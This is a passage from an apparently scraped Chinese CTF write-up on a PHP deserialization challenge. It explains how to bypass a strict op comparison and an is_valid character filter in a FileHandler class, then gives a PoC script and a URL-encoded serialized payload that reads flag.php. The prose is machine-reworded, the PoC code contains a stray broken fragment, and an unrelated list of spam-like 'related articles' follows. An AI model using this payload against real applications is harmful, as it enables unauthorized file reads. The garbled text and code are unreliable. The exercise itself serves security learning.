__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法

接着便是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限定住了,以是须要绕过,那么在php7.1版本以上可以直接修正属性

由于php7.1以上的版本对属性类型不敏感,以是可以将属性改为public,public属性序列化不会涌现不可见字符

POC如下

<?php class FileHandler { public $op=2; public $filename="flag.php"; public $content="111"; pr } $a = new FileHandler(); echo urlencode(serialize($a)); ?>payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D

标签:

相关文章

PHP实现文字转图片的代码与应用

图片处理技术在各个领域得到了广泛应用。在PHP编程中,文字转图片功能同样具有很高的实用价值。本文将针对PHP实现文字转图片的代码进...

网站建设 2025-03-02 阅读1 评论0

NAN0017探索新型纳米材料的奥秘与应用

纳米技术作为一门新兴的交叉学科,近年来在材料科学、生物医学、电子工程等领域取得了举世瞩目的成果。其中,NAN0017作为一种新型纳...

网站建设 2025-03-02 阅读1 评论0

L26368XO代码其背后的创新与突破

编程语言在各个领域发挥着越来越重要的作用。在众多编程语言中,L26368XO代码以其独特的优势,成为了业界关注的焦点。本文将深入剖...

网站建设 2025-03-02 阅读1 评论0

HTML字体背景打造个化网页设计的关键元素

网页设计已经成为现代网络传播的重要手段。在众多网页设计元素中,字体和背景的搭配尤为关键。本文将从HTML字体背景设置的角度,探讨其...

网站建设 2025-03-02 阅读1 评论0